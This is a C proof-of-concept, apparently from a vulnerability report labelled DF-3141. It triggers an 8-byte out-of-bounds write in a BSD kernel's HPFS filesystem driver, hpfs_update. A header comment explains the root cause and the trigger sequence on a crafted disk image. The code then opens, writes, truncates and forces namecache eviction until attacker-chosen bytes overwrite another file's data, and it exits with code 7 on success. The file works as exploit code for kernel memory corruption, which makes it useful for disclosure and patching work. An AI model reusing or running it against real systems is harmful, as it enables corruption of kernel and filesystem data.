DF-3141 / poc.c
/* * DF-3141 -- cross-file data corruption via the 8-byte OOB write in * hpfs_update (sys/vfs/hpfs/hpfs_subr.c:738, sizeof(struct fnode)=520 > * FNODESIZE=512). * * Image layout (see craft_img.py): file A's fnode at LSN 0x48 * (page-aligned), file B's data sector is 0x49 -- the very sector whose * cached bytes sit at page+512, i.e. exactly where hpfs_update's 520-byte * bcopy overflows. * * 1. open A -> hpfs_vget bread(512)+bcopy(520): h_fn tail * (bytes 512..519) = cached 0x49[0..8) = "XXXXXXXX" * 2. write B "YYYYYYYY" (same VM page, different buffer) * 3. ftruncate(A, 0) -> H_CHANGE|H_PARCHANGE set * 4. close A -> hpfs_inactive -> hpfs_update -> * getblk(512); clrbuf; bcopy(h_fn, b_data, 520) * -> writes stale "XXXXXXXX" at page+512 = 0x49[0..8) * 5. read B back -> "XXXXXXXX" instead of "YYYYYYYY" == corruption * * exit 7 if corruption observed, 0 if not. */ #include <fcntl.h> #include <stdio.h> #include <string.h> #include <unistd.h> int main(int argc, char **argv) { const char *mp = argc > 1 ? argv[1] : "/tmp/hpfsmp"; char path[512], buf[16]; int afd, bfd, r, i; /* * 0. touch B FIRST: bread(0x9200) pulls sector 0x49's crafted * content ("XXXXXXXX") into the VMIO page at page+512 -- so the * later vget(A) copies ATTACKER-CHOSEN bytes into h_fn[512..520), * which hpfs_update will then write out of bounds. */ snprintf(path, sizeof(path), "%s/B", mp); bfd = open(path, O_RDWR); if (bfd < 0) { perror("open B"); return 1; } memset(buf, 0, sizeof(buf)); pread(bfd, buf, 8, 0); printf("B initial content : %.8s (crafted image bytes)\n", buf); snprintf(path, sizeof(path), "%s/A", mp); afd = open(path, O_RDWR); if (afd < 0) { perror("open A"); return 1; } printf("open A ok (vget copied page+512 into h_fn tail)\n"); r = (int)pwrite(bfd, "YYYYYYYY", 8, 0); printf("pwrite B \"YYYYYYYY\" = %d\n", r); memset(buf, 0, sizeof(buf)); pread(bfd, buf, 8, 0); printf("B reads back : %.8s\n", buf); if (ftruncate(afd, 0)) { perror("ftruncate A"); return 1; } printf("ftruncate(A, 0) ok -> H_CHANGE\n"); close(afd); printf("close A (namecache holds a ref -> inactive deferred)\n"); printf("pressuring namecache to evict A's entry -> VOP_INACTIVE...\n"); fflush(stdout); /* small retry loop: namecache pressure should reclaim A */ for (i = 0; i < 30; i++) { if (system("find /usr /usr/obj -xdev >/dev/null 2>&1") != 0) ; /* ignore */ memset(buf, 0, sizeof(buf)); pread(bfd, buf, 8, 0); printf("B (try %2d) : %.8s%s\n", i, buf, memcmp(buf, "YYYYYYYY", 8) ? " <<<< CORRUPTED" : ""); if (memcmp(buf, "YYYYYYYY", 8)) return 7; } printf("B intact -- no corruption observed\n"); close(bfd); return 0; } |